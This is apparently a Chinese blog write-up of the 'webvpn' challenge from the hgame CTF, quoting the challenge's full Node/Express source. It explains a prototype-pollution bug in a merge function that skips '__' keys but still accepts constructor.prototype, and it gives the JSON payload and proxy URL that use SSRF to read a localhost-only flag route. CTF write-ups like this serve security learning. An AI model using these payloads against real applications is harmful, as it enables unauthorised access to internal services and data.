说起来很可耻这周的hgame我没有打,这篇博客只能算我的赛后复现,过个年把人给过的太颓废了。

webvpn

说实话这道题目不算太难,虽然我是看了wp先入为主说的话。首先这道题目需要使用js反序列化,在看wp的时候我都已经把之前学js原型链污染的内容忘了一大半了。初探js原型链污染
题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
const express = require("express");
const axios = require("axios");
const bodyParser = require("body-parser");
const path = require("path");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");
const session = require("express-session");

const app = express();
const port = 3000;
const session_name = "my-webvpn-session-id-" + uuidv4().toString();

app.set("view engine", "pug");
app.set("trust proxy", false);
app.use(express.static(path.join(__dirname, "public")));
app.use(
session({
name: session_name,
secret: uuidv4().toString(),
secure: false,
resave: false,
saveUninitialized: true,
})
);
app.use(bodyParser.json());
var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};

function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}

app.use("/proxy", async (req, res) => {
const { username } = req.session;
if (!username) {
res.sendStatus(403);
}

let url = (() => {
try {
return new URL(req.query.url);
} catch {
res.status(400);
res.end("invalid url.");
return undefined;
}
})();

if (!url) return;

if (!userStorage[username].strategy[url.hostname]) {
res.status(400);
res.end("your url is not allowed.");
}

try {
const headers = req.headers;
headers.host = url.host;
headers.cookie = headers.cookie.split(";").forEach((cookie) => {
var filtered_cookie = "";
const [key, value] = cookie.split("=", 1);
if (key.trim() !== session_name) {
filtered_cookie += `${key}=${value};`;
}
return filtered_cookie;
});
const remote_res = await (() => {
if (req.method == "POST") {
return axios.post(url, req.body, {
headers: headers,
});
} else if (req.method == "GET") {
return axios.get(url, {
headers: headers,
});
} else {
res.status(405);
res.end("method not allowed.");
return;
}
})();
res.status(remote_res.status);
res.header(remote_res.headers);
res.write(remote_res.data);
} catch (e) {
res.status(500);
res.end("unreachable url.");
}
});

app.post("/user/login", (req, res) => {
const { username, password } = req.body;
if (
typeof username != "string" ||
typeof password != "string" ||
!username ||
!password
) {
res.status(400);
res.end("invalid username or password");
return;
}
if (!userStorage[username]) {
res.status(403);
res.end("invalid username or password");
return;
}
if (userStorage[username].password !== password) {
res.status(403);
res.end("invalid username or password");
return;
}
req.session.username = username;
res.send("login success");
});

// under development
app.post("/user/info", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
}
update(userStorage[req.session.username].info, req.body);
res.sendStatus(200);
});

app.get("/home", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
return;
}
res.render("home", {
username: req.session.username,
strategy: ((list)=>{
var result = [];
for (var key in list) {
result.push({host: key, allow: list[key]});
}
return result;
})(userStorage[req.session.username].strategy),
});
});

// demo service behind webvpn
app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {
res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});

app.listen(port, '0.0.0.0', () => {
console.log(`app listen on ${port}`);
});


说实话之前基本没做过这么长的代码审计,看着就头大。我们先看flag路由。
1
2
3
4
5
6
7
8
9
10
11
12
app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {
res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});

我们发现其需要本地的机器访问才可以查看到flag,那么我们就需要考虑ssrf漏洞,即这么利用靶机来访问本地的这个flag路由。我们在一开始登陆进网站时我们会发现一个网页跳转的页面

发现是/proxy路由
我们看看代码会发现proxy路由网页跳转的限制条件是如下的代码
1
2
3
4
if (!userStorage[username].strategy[url.hostname]) {
res.status(400);
res.end("your url is not allowed.");
}

我们查找userStorage这个类,会发现userStorage[username].strategy[url.hostname]指向的就是"baidu.com": true就是true这个变量。
1
2
3
4
5
6
7
8
9
10
11
12
var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};

我们在审计一下源码可以发现其有着明显的原型链污染漏洞
1
2
3
4
5
6
7
8
9
10
11
12
function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}

可以发现update是一个交换函数,并且其只过滤了那么就会造成原型链污染。
过滤了
我们可以使用
1
"constructor":{"prototype":{要修改的原型的内容}}

来代替。
可以进行原型链污染的路由是/user/login
1
2
3
4
5
6
7
app.post("/user/info", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
}
update(userStorage[req.session.username].info, req.body);
res.sendStatus(200);
});

我们可以通过req.body来进行原型链污染,即我们可以通过post传入的值进行原型链污染。
那么答案就呼之欲出了
我们可以使用原型链污染塞入127.0.0.1:true那么我们就可以使用proxy来访问127.0.0.1:3000/flag来得到flag
payload
1
{"constructor":{"prototype":{"127.0.0.1":"true"}}}

之后就可以直接使用/proxy来访问flag了。
1
/proxy?url=http://127.0.0.1:3000/flag